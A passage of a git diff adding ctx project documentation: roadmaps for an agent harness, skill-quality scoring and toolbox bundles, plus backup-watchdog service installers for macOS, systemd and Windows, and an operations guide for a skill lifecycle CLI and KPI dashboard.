messages via a separate call +- Keep strategy simple; defer LangGraph-style per-step checkpointing +- Files touched: 1 + +### Phase H6 — integrate ctx-core +- Harness auto-attaches ctx's own MCP server (`ctx-mcp-server`) at startup +- Every turn, expose `recommend_bundle(query)` / `graph_query(seeds)` / `install(slug)` to the model +- The skill/graph/quality system is now usable FROM the harness +- Files touched: 2 + +### Phase H7 — CLI UX +- `ctx run --provider --model --task --mcp` (comma-list) +- `ctx run --resume` +- `ctx run --list-sessions` +- Files touched: 1 + +### Phase H8 — ctx MCP server (ships independently too) +- `src/ctx/mcp_server/server.py`: exposes ctx-core as an MCP server any MCP-speaking harness can attach +- This is the Option A deliverable; option C ships it anyway because our own harness uses it +- Files touched: 2 + +### Phase H9 — adapters for specific hosts (as demand arises) +- Aider: shell-out or import adapter +- Goose: MCP server is enough (Goose speaks MCP) +- Cline: MCP server is enough +- Custom: documented public API in `ctx/__init__.py` + +### ── SHIP v1 ── + +At this point `ctx run --provider openrouter --model minimax/minimax-m1 --task ...` works end-to-end with a solo agent. Measure failure modes on real tasks before adding P/G/E scaffolding. + +### Phase H10 — Planner agent (evidence-driven) +**Trigger:** solo-agent runs consistently fail on tasks that need multi-step decomposition (spec-to-implementation gap, scope drift, planner-less overruns). +- Separate Planner agent that expands vague prompts into structured specs (Anthropic pattern §5: "Specification Artifact") +- Planner → Generator handoff via file-based artifacts (not inline messages) +- `ctx run --planner` flag opts in; default stays solo +- Files touched: ~3 + +### Phase H11 — Evaluator agent (evidence-driven) +**Trigger:** self-evaluation bias observed in H1-H10 runs — generator declares success on outputs a human would reject. +- Separate Evaluator agent with explicit grading criteria + few-shot calibration +- Feedback loop drives regeneration +- `ctx run --evaluator` flag opts in (usually with `--planner` together) +- Files touched: ~3 + +### Phase H12 — Sprint contracts +**Trigger:** Evaluator and Generator disagree on "done" criteria in practice. +- Contract artifact agreed before implementation +- Hard pass/fail thresholds per criterion +- Files touched: ~2 + +### ── SHIP v2 (full three-agent harness) ── + +Match Anthropic's reference pattern. Expect 3-5x token cost vs solo. Worth it for high-stakes autonomous runs; overkill for simple edit-a-file tasks. `ctx run --mode=solo|triad` flag exposes both. + +--- + +## 8. Risks & open questions + +### Risks + +| Risk | Mitigation | +|---|---| +| Repo reorg breaks downstream import paths | Phase R1-R6 with deprecation shims; 6-month shim deprecation window | +| LiteLLM has a bug for the user's target provider (e.g., MiniMax) | Factor providers behind a `ModelProvider` protocol so direct-SDK bypass is trivial; LiteLLM is the default but not a hard dep | +| Harness loop divergence — we own bugs CC used to hide | Keep loop minimal (H1-H3 ship as ~300 LOC). Study SWE-agent's loop as a known-good reference | +| Context compaction is hard and model-specific | Ship simple summarize-on-overflow in H5; swap for better strategy later. Don't block the release | +| "Alive skill" semantics may not map to harnesses that don't auto-load | Our MCP server exposes recommendation as a tool; model explicitly asks for skills. Harness-agnostic. | +| Self-evaluation anti-pattern (Anthropic §4) if users wire ctx's quality scorer as grader for its own output | Document that quality signals are for *discovery*, not for grading agent outputs | +| Strix-style scanning of the new harness surface | Every new adapter module ships with security tests (no-test-no-merge already enforces this) | + +### Open questions — need user decision + +1. **Which option?** A (library + MCP server only), B (full harness), or C (minimal harness + MCP server + CC adapter)? My recommendation: C. +2. **Repo reorg scope** — all phases R0-R6 as proposed, or stop after R3 (core only)? +3. **Which providers ship in H1?** LiteLLM gives us ~100 for free, but which 3-5 are the "tier-1 tested" set? MiniMax + GPT-5.5 + Anthropic + Ollama + (?) +4. **Is `~/.ctx/` the right new config root**, or do we keep everything under the adapter-owned directory (`~/.claude/` for CC adapter, `~/.ctx/` for generic)? +5. **Do we want the Planner/Generator/Evaluator split (Anthropic's recommended pattern) in v1**, or defer to a later phase? My recommendation: defer — it's load-bearing for *product builds* specifically, not for general agentic coding tasks. +6. **Checkpointing — LangGraph-style per-step, or session-level JSONL replay only (Claude Agent SDK pattern)?** v1 = JSONL replay; revisit if users ask for time-travel. +7. **License / distribution** — publish as a pip package (`pip install ctx-harness` or similar) after the reorg? Repo is already clean enough if we want to. + +--- + +## 9. Non-goals + +- We are **not** replacing Claude Code as a harness. The CC integration stays first-class. +- We are **not** competing with SWE-agent / OpenAI Agents SDK / LangGraph on general-purpose agent features. Our differentiator is the **alive skill / knowledge graph / quality scoring** system, not the while-loop. +- We are **not** going to reinvent LiteLLM. It's a fixed dependency for provider abstraction. +- We are **not** reimplementing MCP. It's the protocol, not something we own. +- We are **not** building Planner/Generator/Evaluator in v1 (defer; Anthropic's pattern is load-bearing for product-build tasks specifically). + +--- + +## 10. Success criteria + +**Minimum viable** (end of Phase H7): +```bash +ctx run --provider openai --model gpt-5.5 --mcp ctx,filesystem \ + --task "find the failing tests in this repo and fix them" +``` +- Runs to completion or max-iterations without crashing +- Cost tracked + shown +- Session JSONL persisted; resumable via `--resume` +- ctx's own skill-recommendation MCP server gets consulted at least once (evidence in the JSONL) +- Same task against `--provider anthropic --model claude-opus-4-7` works identically (byte-diff on artefact level, not prose) + +**Full delivery** (end of Phase H9): +- 3 adapters ship: claude_code (existing), generic (new), aider (new) +- `ctx-mcp-server` is published + a Cline/Goose recipe documents attaching it +- Coverage floor on new code: 80%+ (current floor is 40%; ratchet up) +- Full docs under `docs/harness/` + +--- + +## Appendix A — harness comparison table + +(See `docs/plans/001-research-appendix.md` for the full survey with citations. Summary inline §2.) + +## Appendix B — detailed file-move map for each R-phase + +(To be filled in as each R-phase ships. R0 scaffolding only — no files move.) diff --git a/docs/roadmap/skill-quality.md b/docs/roadmap/skill-quality.md new file mode 100644 index 0000000000000000000000000000000000000000..2340a8d75990a441dba225edd4b3ea157e37ec0c --- /dev/null +++ b/docs/roadmap/skill-quality.md @@ -0,0 +1,209 @@ +# Skill Quality — Plan + +Living plan for the **skill quality scoring + lifecycle** initiative. +Keep this file terse and current. Detailed work lives in GH issues linked per phase. + +## Vision + +Every skill and agent in `~/.claude/skills` and `~/.claude/agents` carries a +continuous **quality score** that updates automatically as signals change. +Low-scoring entries are proposed for demotion, archival, or deletion via a +propose-and-confirm CLI. High-scoring entries earn priority in the router. +The goal: keep the corpus from decaying as it grows past 1,700 skills, +without asking the user to curate by hand. + +## Principles + +- **Evidence-weighted, not opinion-driven.** Score = weighted sum of four + measurable signals. No manual grades. +- **Propose, don't mutate.** The lifecycle CLI prints proposed actions and + waits for confirmation. `--auto` unlocks the non-destructive tiers; the + **Delete** tier always requires human confirmation regardless of `--auto`. +- **Live on the knowledge graph.** The score is a node attribute on the + wiki graph that changes in real time, not a static frontmatter number. + Frontmatter + sidecar JSON + wiki page mirror it for auditability. +- **Asymmetric lifecycle.** Demotion is automatic; promotion back is + deliberate, through a dedicated `--review-archived` CLI. +- **Config-driven thresholds.** Weights, score cutoffs, lifecycle cadence + — all live under `config.json` so advanced users can tune without code + changes. + +## Signals (Q1) + +| Signal | Source | Range | Intent | +|---|---|---|---| +| **telemetry** | `~/.claude/intent-log.jsonl` + `skill-manifest.json` | 0–1 | Did the skill get loaded? Used after load? How recently? | +| **intake warnings** | `IntakeDecision.findings` captured at install | 0–1 | Was this flagged as near-dup / thin body / orphan at install? | +| **graph connectivity** | `graph/wiki-graph.tar.gz` edges | 0–1 | How many incoming + outgoing wiki-links? Isolated nodes score low. | +| **routing hit rate** | router trace logs | 0–1 | When the router considered this skill, did it pick it? | + +## Score formula (Q2) + +``` +raw = w_t * telemetry + w_i * intake + w_g * graph + w_r * routing +score = clamp(raw, 0, 1) — then apply hard floors + +grade = A if score >= 0.80 + B if score >= 0.60 + C if score >= 0.40 + D otherwise + +# Hard floors override the weighted score: +# intake_fail → F (blocked at install; should not exist in corpus) +# never_loaded AND age > stale_threshold_sessions → D regardless of graph/intake +``` + +Default weights: `w_t=0.40`, `w_i=0.20`, `w_g=0.25`, `w_r=0.15`. +All exposed under `config.json::quality`. + +## Persistence (Q3) + +Write score to **four sinks** on every compute: + +1. **Knowledge-graph node attribute** — live, re-renders on wiki refresh. + This is the source of truth; everything else is a mirror. +2. **Frontmatter** — `quality_score`, `quality_grade`, `quality_updated_at` + on the converted wiki page. +3. **Sidecar JSON** — `~/.claude/skill-quality/.json` for machine + consumption without parsing frontmatter. +4. **Wiki page** — a `## Quality` section with the current grade + signal + breakdown for human auditability. + +## Compute cadence (Q4) + +All three triggers, each independently toggleable in `config.json::quality`: + +- **Stop-hook piggyback** — on session end, recompute for skills touched + during the session. Cheap, incremental, keeps the score fresh. +- **CLI** - `ctx-skill-quality recompute [--all | --slug ]` for + on-demand recomputation. +- **Cron / scheduled** — optional daily full-corpus recompute for + telemetry drift. Off by default; opt-in via `quality.cron.enabled`. + +## Action policy (Q5) + +Every lifecycle action goes through **propose-and-confirm**: + +``` +$ ctx-lifecycle review +3 skills eligible for demotion (C → D): + - old-fastapi-patterns: score 0.42, stale 45 sessions + - ... +Proceed? [y/N] +``` + +- `--auto` flag promotes to auto-apply for Watch and Demote tiers only. +- Archive and Delete always require explicit confirmation. +- Delete additionally prints a **big warning + diff preview** and requires + typing the skill name to confirm. No `--auto` override. + +## Four-tier lifecycle (Q6) + +| Tier | Entry condition | Action | Reversible? | +|---|---|---|---| +| **Watch** | grade drops to C | tag in frontmatter, surface in next review | yes, automatic | +| **Demote** | grade drops to D for 2+ consecutive recomputes | move from `skills/` to `skills/_demoted/` (router excludes) | yes, via review | +| **Archive** | demoted > archive_threshold_days | move to `skills/_archive/`, remove from graph | yes, via `--review-archived` | +| **Delete** | archived > delete_threshold_days AND `ctx-lifecycle purge` invoked | permanent delete after typed confirmation | NO | + +Transitions happen at review time, never silently. Cadence + thresholds +in `config.json::quality.lifecycle`. + +## Promotion back (Q7) + +Asymmetric by design — automatic demotion, deliberate promotion: + +- `ctx-lifecycle --review-archived` — prints archived skills with their + last score and a preview of what changed since archival (git diff + against the archive point). +- Promotion restores to `skills/` and recomputes score immediately. +- No automatic promotion from Archive; the user must invoke the CLI. + +## KPI categories (Q8) + +Skills/agents carry both: + +- **Tags** (free-form, existing): `python`, `testing`, `aws`, ... +- **Category** (new, closed set): one of `framework`, `language`, `tool`, + `pattern`, `workflow`, `meta`. + +Dashboard shows: + +- Score distribution by category (are `framework` skills healthier than + `pattern` skills?) +- Trend: percentage of corpus in each grade over time +- Top-10 demotion candidates +- Archived-but-restorable count (leading indicator of user regret) + +## Phases + +### Phase 3 — Post-install scoring module ← next + +Files: `src/skill_quality.py`, `src/quality_signals.py`, +`src/tests/test_skill_quality.py`, `src/config.json` (new `quality` +section), `src/ctx_config.py` (extend for `quality_*` fields). + +- [ ] `quality_signals.py` — four signal extractors, each returning a + normalized 0–1 float + raw evidence. Deterministic given inputs. +- [ ] `skill_quality.py` — score aggregation, hard floors, grade mapping, + four-sink persistence. Includes CLI `recompute` / `show` / `explain`. +- [ ] Stop-hook integration — recompute only for skills touched this + session (incremental path). +- [ ] Knowledge-graph node attribute writer — extends `graph/build_wiki_graph.py` + to emit `quality_score`, `quality_grade` on each skill node. +- [ ] `config.json::quality` section with weights, thresholds, cadence toggles. +- [ ] Tests: signal extractors are deterministic; hard floors fire correctly; + stop-hook incremental path matches full recompute on touched slugs. + +### Phase 4 — Lifecycle CLI + KPI dashboard + +Files: `src/ctx_lifecycle.py`, `src/kpi_dashboard.py`, +`src/tests/test_ctx_lifecycle.py`, `docs/quality/dashboard.md`. + +- [ ] `ctx_lifecycle.py` — `review`, `demote`, `archive`, `purge`, + `--review-archived`, `--auto`. Propose-and-confirm on every action; + typed confirmation for purge. +- [ ] Tier transitions: Watch → Demote → Archive → Delete, reading + `config.json::quality.lifecycle` thresholds. +- [ ] `kpi_dashboard.py` — markdown report generator with distribution + tables and trend charts (sparkline per category). +- [ ] Add `category:` field to skill frontmatter schema + backfill script + that infers category from existing tags where unambiguous. +- [ ] Archive recovery preview: git-diff between archive point and HEAD + for the archived skill's source file. + +### Phase 5 — Agent parity + +Files: `src/skill_telemetry.py` (add subject_type discriminator), +`src/usage_tracker.py` (extend to agent pages), `src/agent_quality.py`. + +- [ ] `skill_telemetry.py` — subject-type discriminator so the same + module tracks both skills and agents without collision. +- [ ] `usage_tracker.py` — extend to agent entity pages in the wiki. +- [ ] Short interview to confirm agent-specific signal weights (likely + different — agents are invoked less often but more deliberately). +- [ ] Reuse Phase 3 + 4 machinery for agents; single quality backbone. + +## Open decisions (captured during interview) + +- Signals: telemetry + intake warnings + graph connectivity + routing hit rate. +- Scoring: weighted sum + hard floors → A/B/C/D grade. +- Persistence: frontmatter + sidecar JSON + wiki page + **live KG node attribute**. +- Cadence: Stop-hook + CLI + cron, all config-toggleable. +- Policy: propose-and-confirm with `--auto` for Watch/Demote only; Delete always human-gated. +- Lifecycle: four tiers Watch → Demote → Archive → Delete. +- Promotion: asymmetric; dedicated `--review-archived` CLI. +- KPIs: both `tags:` (free-form) and `category:` (closed set). +- Order: M2.10 (done) → this plan doc (done) → Phase 3 → Phase 4 → agents. + +## Out of scope (v1) + +- Cross-machine score sync (local-only). +- ML-based scoring (start deterministic; revisit if signals prove noisy). +- Community quality leaderboard. +- Rewriting / auto-fixing low-scoring skills (we only demote/archive). + +## Tracking + +GH issues live under the `skill-quality-v1` milestone. One issue per phase. +This file is updated each time a phase completes. diff --git a/docs/roadmap/toolbox.md b/docs/roadmap/toolbox.md new file mode 100644 index 0000000000000000000000000000000000000000..ee706cf71e41f6e8753ad4b713fef5c92b367be8 --- /dev/null +++ b/docs/roadmap/toolbox.md @@ -0,0 +1,141 @@ +# Toolbox Feature — Plan + +Living plan for the **pre/post dev toolbox + behavior-learning + docs** initiative. +Keep this file terse and current. Detailed work lives in GH issues linked per phase. + +## Vision + +Let the user declare **named bundles of skills/agents** that load *before* (`pre`) or +run *after* (`post`) a development task. Learn from the user's invocation patterns +over time and propose new bundles. Surface everything through slash commands, a +CLI, and a version-controlled config. + +## Principles + +- **Foundation first.** Ship data model + CLI + 5 starter toolboxes before any + hook integration or learning. Each phase is independently usable. +- **User-configurable everything.** Dedup policy, suggestion loudness, trigger + set, council composition — all settable per toolbox with sensible defaults. +- **Evidence over opinion.** Suggestions cite real usage data + knowledge-graph + edges. No black-box "trust me" prompts. +- **Token discipline.** Every council run respects a declared + `max_tokens` / `max_seconds` budget. No runaway cost. + +## Data model (canonical) + +```jsonc +// ~/.claude/toolboxes.json (global) OR .toolbox.yaml (per-repo, overrides global) +{ + "version": 1, + "toolboxes": { + "ship-it": { + "description": "Professional council for end-of-feature review", + "pre": [], + "post": [ + "code-reviewer", "security-reviewer", "architect-review", + "test-automator", "performance-engineer", + "accessibility-tester", "docs-lookup" + ], + "scope": { + "projects": ["*"], + "signals": ["python", "typescript", "rust", "go"], + "analysis": "dynamic" // "diff" | "full" | "graph-blast" | "dynamic" + }, + "trigger": { + "slash": true, + "pre_commit": true, + "session_end": true, + "file_save": null // glob or null + }, + "budget": { "max_tokens": 150000, "max_seconds": 300 }, + "dedup": { "window_seconds": 600, "policy": "fresh" }, // "fresh" | "cached" + "guardrail": false // true => block commit on HIGH findings + } + }, + "active": ["ship-it"] +} +``` + +## Phases + +### Phase 1 — Foundation (data model, CLI, templates, tests) + +Files: `src/toolbox.py`, `src/toolbox_config.py`, `src/tests/test_toolbox.py`, +`skills/toolbox/SKILL.md`, `docs/toolbox/templates/*.yaml`. + +- [ ] `toolbox_config.py` — JSON/YAML loader with global + per-repo merge. +- [ ] `toolbox.py` — CLI: `list`, `show`, `activate`, `deactivate`, `init`, `export`, `import`, `validate`. +- [ ] 5 starter templates: `ship-it`, `security-sweep`, `refactor-safety`, `docs-review`, `fresh-repo-init`. +- [ ] Slash command wrappers under `skills/toolbox/` mapping to CLI. +- [ ] Regression tests (data model round-trip, CLI happy paths, config merge precedence). + +### Phase 2 — Hook integration + council runner + +- [ ] Extend existing pre-commit hook with optional council stage. +- [ ] `src/council_runner.py` — runs the post list with budget enforcement. +- [ ] Session-start / session-end / file-save hook handlers. +- [ ] Dedup cache at `~/.claude/toolbox-runs/.json`. +- [ ] Graph-informed blast radius: read `graph/wiki-graph.tar.gz` edges to + compute transitively affected files for `"analysis": "graph-blast"`. + +### Phase 3 — Behavior miner + suggestion surface + +- [ ] `src/behavior_miner.py` — mines `~/.claude/intent-log.jsonl` + + `~/.claude/skill-manifest.json` + `git log` for four signals: + agent co-invocation, skill load/unload cadence, file-type → agent + correlations, commit-message-type correlations. +- [ ] `~/.claude/user-profile.json` — acceptance rate, opted-out suggestions, + cadence preferences. +- [ ] Suggestion surface: real-time digest (batched, not interrupt-style) + + session-end digest. Cadence user-configurable. + +### Phase 4 — Intent interview + guardrails + retrospective + explainability + +- [ ] `src/intent_interview.py` — structured interview for blank repos and + existing repos. Auto-prompt on empty-repo detection with one-click skip. +- [ ] Slash: `/toolbox init` and `/toolbox suggest`. +- [ ] Guardrail mode: when enabled per-toolbox, blocks the commit on HIGH findings. +- [ ] Session-end retrospective summarizing skills/agents used + council verdicts. +- [ ] Explainability: every suggestion includes graph evidence + log citations. + +### Phase 5 — Documentation site (MkDocs Material) + +- [ ] `mkdocs.yml` + Material theme + GH Pages deploy action. +- [ ] Pages: getting started, concepts, CLI reference, hook integration, + starter toolboxes, behavior learning, FAQ. +- [ ] Keep the existing README as landing; site = deep docs. + +### Phase 6 — Curation & self-healing add-ons + +- [ ] Skill health dashboard: stale skills, never-used-after-load, high-cost-low-value. +- [ ] Self-healing catalog: nightly diff-scan backfills catalog + graph when + skills/agents are added outside the wiki flow. +- [ ] Diff-aware memory anchoring: project memories auto-expire when the + referenced code is no longer present. +- [ ] Community toolbox registry (read-only index repo). + +## Open decisions (captured during interview) + +- Council composition: **Full 7** = code-reviewer, security-reviewer, + architect-review, test-automator, performance-engineer, accessibility-tester, + docs-lookup. Overridable per toolbox. +- Triggers: all four (slash, pre-commit, session-end, file-save), configurable per toolbox. +- Dedup: fresh-by-default, toolbox-overridable. +- Intent interview: auto-prompt on empty repo with skip, plus `/toolbox init`, plus CLI wizard. +- Behavior signals: all four enabled. +- Loudness: user-configurable; default = session-end digest + batched real-time. +- Scope: global + per-repo, repo overrides global. +- Docs: MkDocs Material on GH Pages. +- Ship order: foundation first. + +## Out of scope (v1) + +- Hosted cloud-sync of user-profile (local-only). +- Non-Claude-Code integrations (VS Code extension, Cursor, etc.). +- Paid/premium toolbox tiers. + +## Tracking + +GH issues live under the `toolbox-v1` milestone. One issue per phase + one +per starter toolbox template. `plan.md` (this file) is updated each time a +phase completes. diff --git a/docs/services/macos/com.claude.backup.watchdog.plist b/docs/services/macos/com.claude.backup.watchdog.plist new file mode 100644 index 0000000000000000000000000000000000000000..52e438ce6139ef38fad8fb111592abfaf7b6b9e3 --- /dev/null +++ b/docs/services/macos/com.claude.backup.watchdog.plist @@ -0,0 +1,58 @@ + + + + + + Label + com.claude.backup.watchdog + + + ProgramArguments + + /usr/bin/python3 + /Users/YOUR_USER/ctx/src/backup_mirror.py + watchdog + --interval + 60 + + + RunAtLoad + + + + KeepAlive + + SuccessfulExit + + + ThrottleInterval + 30 + + StandardOutPath + /Users/YOUR_USER/Library/Logs/claude-backup-watchdog.log + StandardErrorPath + /Users/YOUR_USER/Library/Logs/claude-backup-watchdog.log + + ProcessType + Background + + diff --git a/docs/services/systemd/claude-backup-watchdog.service b/docs/services/systemd/claude-backup-watchdog.service new file mode 100644 index 0000000000000000000000000000000000000000..267d236b680b69becac9688e0474d1d5f1692571 --- /dev/null +++ b/docs/services/systemd/claude-backup-watchdog.service @@ -0,0 +1,40 @@ +# Systemd user unit for the ctx backup watchdog. +# +# Install: +# mkdir -p ~/.config/systemd/user +# cp docs/services/systemd/claude-backup-watchdog.service \ +# ~/.config/systemd/user/ +# # Edit the copy: set CTX_REPO to the absolute path of this checkout +# # and confirm your python3 path (e.g. /usr/bin/python3). +# systemctl --user daemon-reload +# systemctl --user enable --now claude-backup-watchdog.service +# +# Status / stop / tail: +# systemctl --user status claude-backup-watchdog.service +# systemctl --user stop claude-backup-watchdog.service +# journalctl --user -u claude-backup-watchdog.service -f + +[Unit] +Description=Claude ~/.claude backup watchdog (ctx) +After=default.target + +[Service] +Type=simple +# Adjust CTX_REPO to your checkout, and Python if you use a venv. +Environment=CTX_REPO=%h/ctx +ExecStart=/usr/bin/python3 ${CTX_REPO}/src/backup_mirror.py watchdog --interval 60 +# Crash-recover: back off 5s between restarts, give up after 3 fast crashes. +Restart=on-failure +RestartSec=5 +StartLimitIntervalSec=60 +StartLimitBurst=3 +# Least-privilege: the watchdog only needs to read ~/.claude and write +# ~/.claude/backups. No network. No privilege escalation. +NoNewPrivileges=yes +PrivateTmp=yes +ProtectSystem=strict +ProtectHome=read-only +ReadWritePaths=%h/.claude/backups + +[Install] +WantedBy=default.target diff --git a/docs/services/windows/install-backup-watchdog.ps1 b/docs/services/windows/install-backup-watchdog.ps1 new file mode 100644 index 0000000000000000000000000000000000000000..290c80e846ee1b51c04de680f25c81b0a45edeb0 --- /dev/null +++ b/docs/services/windows/install-backup-watchdog.ps1 @@ -0,0 +1,120 @@ +# install-backup-watchdog.ps1 +# +# Registers the ctx backup watchdog as a Windows Scheduled Task. +# The task runs under the current user, starts at logon, and restarts +# on failure. Nothing elevated — a standard user can install, run, and +# remove the task without administrator rights. +# +# Usage: +# # From a PowerShell prompt inside this repo: +# pwsh -File docs/services/windows/install-backup-watchdog.ps1 +# +# Flags: +# -RepoPath Absolute path to this ctx checkout. Defaults to the +# repo the script lives in. +# -Python Absolute path to the Python interpreter. Auto-detected +# via `where python` when omitted. +# -Interval Seconds between polls. Default 60. +# -Uninstall Remove the task and exit. +# +# Inspect afterwards: +# Get-ScheduledTask -TaskName 'ClaudeBackupWatchdog' +# Get-ScheduledTaskInfo -TaskName 'ClaudeBackupWatchdog' +# +# Remove: +# pwsh -File docs/services/windows/install-backup-watchdog.ps1 -Uninstall + +[CmdletBinding()] +param( + [string]$RepoPath = (Resolve-Path "$PSScriptRoot\..\..\..").Path, + [string]$Python = $null, + [int]$Interval = 60, + [switch]$Uninstall +) + +$ErrorActionPreference = 'Stop' +$TaskName = 'ClaudeBackupWatchdog' + +if ($Uninstall) { + if (Get-ScheduledTask -TaskName $TaskName -ErrorAction SilentlyContinue) { + Unregister-ScheduledTask -TaskName $TaskName -Confirm:$false + Write-Host "[uninstall] removed scheduled task $TaskName" + } else { + Write-Host "[uninstall] task $TaskName is not registered; nothing to do" + } + return +} + +# --- Validate inputs ---------------------------------------------------------- + +$MirrorScript = Join-Path $RepoPath 'src\backup_mirror.py' +if (-not (Test-Path $MirrorScript)) { + throw "backup_mirror.py not found under $RepoPath. Pass -RepoPath correctly." +} + +if (-not $Python) { + $Python = (Get-Command python -ErrorAction SilentlyContinue).Source + if (-not $Python) { + throw "Python interpreter not found on PATH. Pass -Python ." + } +} +if (-not (Test-Path $Python)) { + throw "Python path does not exist: $Python" +} + +if ($Interval -lt 5 -or $Interval -gt 3600) { + throw "Interval must be between 5 and 3600 seconds (got $Interval)." +} + +# --- Build the task ---------------------------------------------------------- + +$Arguments = "`"$MirrorScript`" watchdog --interval $Interval" + +$Action = New-ScheduledTaskAction ` + -Execute $Python ` + -Argument $Arguments ` + -WorkingDirectory $RepoPath + +# Run at user logon. The watchdog itself sleeps between polls, so we +# don't need a repetition trigger on top. +$Trigger = New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME + +# Settings: allow on battery, restart on failure, no time limit. +$Settings = New-ScheduledTaskSettingsSet ` + -AllowStartIfOnBatteries ` + -DontStopIfGoingOnBatteries ` + -RestartCount 3 ` + -RestartInterval (New-TimeSpan -Minutes 1) ` + -ExecutionTimeLimit (New-TimeSpan -Days 0) ` + -StartWhenAvailable + +$Principal = New-ScheduledTaskPrincipal ` + -UserId $env:USERNAME ` + -LogonType Interactive ` + -RunLevel Limited + +$Description = "Snapshots ~/.claude/ on change. Source: $RepoPath" + +$Task = New-ScheduledTask ` + -Action $Action ` + -Trigger $Trigger ` + -Settings $Settings ` + -Principal $Principal ` + -Description $Description + +# Replace any previous registration. +if (Get-ScheduledTask -TaskName $TaskName -ErrorAction SilentlyContinue) { + Unregister-ScheduledTask -TaskName $TaskName -Confirm:$false +} +Register-ScheduledTask -TaskName $TaskName -InputObject $Task | Out-Null + +# Kick it off now so the user sees a snapshot folder appear. +Start-ScheduledTask -TaskName $TaskName + +Write-Host "[install] registered scheduled task $TaskName" +Write-Host " python: $Python" +Write-Host " script: $MirrorScript" +Write-Host " interval: ${Interval}s" +Write-Host "" +Write-Host "Inspect: Get-ScheduledTaskInfo -TaskName '$TaskName'" +Write-Host "Remove: pwsh -File '$PSCommandPath' -Uninstall" diff --git a/docs/skill-lifecycle-and-dashboard.md b/docs/skill-lifecycle-and-dashboard.md new file mode 100644 index 0000000000000000000000000000000000000000..9b84d661439924dd65be8c3eabca349828bb7cf0 --- /dev/null +++ b/docs/skill-lifecycle-and-dashboard.md @@ -0,0 +1,171 @@ +# Skill lifecycle & KPI dashboard — install & operations + +One page on running the Phase 4 lifecycle CLI, the category backfill, +and the KPI dashboard. Prerequisite: Phase 3 scorer is installed and +has written at least one sidecar. See +[skill-quality-install.md](./skill-quality-install.md). + +## What it does + +After the scorer has labeled everything, these three tools turn the +labels into action: + +| Tool | CLI | Purpose | +| ---- | --- | ------- | +| `ctx_lifecycle.py` | `review`, `demote`, `archive`, `purge`, `review-archived` | Move D/F-grade skills through `active → watch → demote → archive → deleted`. | +| `skill_category.py` | `backfill`, `infer` | Write the closed-set `category:` field into skill/agent frontmatter. | +| `kpi_dashboard.py` | `render`, `summary` | Emit a single Markdown dashboard joined across all quality sinks. | + +Asymmetric gates: downward transitions are automatic from a D-streak; +upward transitions are deliberate. Archive needs aging (`active` for +14 days in `_demoted`); delete needs a typed-slug confirmation even +under `--auto`. + +## Category taxonomy + +Closed set: `framework`, `language`, `tool`, `pattern`, `workflow`, +`meta`. The dashboard groups scores by category so you can see, e.g., +that your `framework`-tagged skills average a B but your +`workflow`-tagged skills are mostly D — which tells you where to focus +curation. + +Inference is precedence-ordered: `python + django` → `language` +(language wins over framework). The backfill **never overwrites** an +existing non-empty value — human edits win. + +Run once after the scorer has seeded the sidecars: + +```bash +python -m skill_category backfill --dry-run +python -m skill_category backfill # apply +``` + +Unresolved slugs (no tag matched the taxonomy) are listed for manual +curation. + +## Lifecycle CLI + +Four verbs. All are propose-and-confirm by default; `--auto` unlocks +only the safe tiers (Watch + Demote). + +```bash +# List every pending transition; no writes. +python -m ctx_lifecycle review --dry-run + +# Apply all Watch/Demote transitions without prompting. +python -m ctx_lifecycle review --auto + +# Archive a specific slug. Requires the demoted aging threshold to have passed. +python -m ctx_lifecycle archive + +# Delete archived slugs that exceeded the delete threshold. +# Requires typed-slug confirmation per entry even with --auto. +python -m ctx_lifecycle purge + +# List archived slugs with optional diffs, or restore one. +python -m ctx_lifecycle review-archived --show-diff +python -m ctx_lifecycle review-archived --restore +``` + +Filesystem moves: demote → `/_demoted//`, archive → +`/_archive//`. The scanner skips directories starting +with `_`, so demoted/archived skills no longer show up to the router. + +Lifecycle state is persisted in a sibling sidecar at +`~/.claude/skill-quality/.lifecycle.json`. Each transition is +folded into the `history` array (capped at `history_max`) so you can +audit how a slug ended up where it did. + +### The D-streak + +A skill needs `consecutive_d_to_demote` consecutive D-or-F grades to +trigger a demote proposal. Any A/B/C grade resets the streak to 0. The +default is 2 — one bad session is a blip, two in a row is a trend. + +## KPI dashboard + +Pure read-only. Walks both quality sidecars and lifecycle sidecars, +joins them against `category:` in frontmatter (with inference +fallback), and emits Markdown or JSON. + +```bash +# Dump Markdown to stdout. +python -m kpi_dashboard render + +# Persist to a file — good target for the cron / pre-push hook. +python -m kpi_dashboard render --out ~/.claude/skill-quality/kpi.md + +# Machine-readable. +python -m kpi_dashboard render --json --out kpi.json + +# Terse one-screen summary. +python -m kpi_dashboard summary +``` + +### What's in the report + +- **Grade distribution** — A/B/C/D/F counts + percentages. Blank grade + (no score yet) rolls up to F so it surfaces in the "needs + attention" bucket. +- **Lifecycle tiers** — counts across active/watch/demote/archive. +- **Hard floors active** — how many slugs are failing intake or + never-loaded-stale. +- **By category** — per-category count, average score of + scored entries, and a mini A/B/C/D/F mix table. +- **Top demotion candidates** — up to `--limit N` (default 10) active + or watch-tier entries sorted by (D-streak desc, score asc). These + are the first slugs `ctx_lifecycle review --auto` will act on. +- **Archived (restorable)** — every slug currently in the archive + tier; still recoverable via `review-archived --restore ` until + `purge` deletes them. + +## Configuration + +All knobs live under `quality` in `src/config.json`: + +```json +{ + "quality": { + "lifecycle": { + "archive_threshold_days": 14.0, + "delete_threshold_days": 60.0, + "consecutive_d_to_demote": 2, + "demoted_subdir": "_demoted", + "archive_subdir": "_archive", + "history_max": 20 + }, + "dashboard": { + "default_top_n": 10, + "report_path": "~/.claude/skill-quality/kpi.md" + } + } +} +``` + +Tighten `consecutive_d_to_demote` to 1 for aggressive pruning, or +loosen `archive_threshold_days` if you want a longer grace window +before a demoted skill gets archived. + +## Operational cadence + +A reasonable default rhythm, given the defaults above: + +- **Every session** — scorer hook runs automatically on session end. +- **Weekly** — `ctx_lifecycle review --auto` to sweep Watch/Demote. +- **Weekly** — `kpi_dashboard render --out …/kpi.md` for the digest. +- **Monthly** — `ctx_lifecycle review` (no `--auto`) to surface + archive-ready demoted skills for manual approval. +- **Quarterly** — `ctx_lifecycle purge` with typed-slug confirmation + to actually remove archived skills past the delete threshold. + +## Troubleshooting + +- **"unresolved" in backfill output** — the skill's tags don't match + the taxonomy. Either add a matching tag (e.g. `python`) or set + `category:` manually in frontmatter. +- **Dashboard shows skills as F with no score** — they have a + lifecycle sidecar but no quality sidecar. That's intentional: + archived slugs whose quality sidecar was cleaned up still appear + in the tier and archive sections so you can restore them. +- **`review --auto` refuses to archive or delete** — by design. Those + tiers require human approval. diff --git 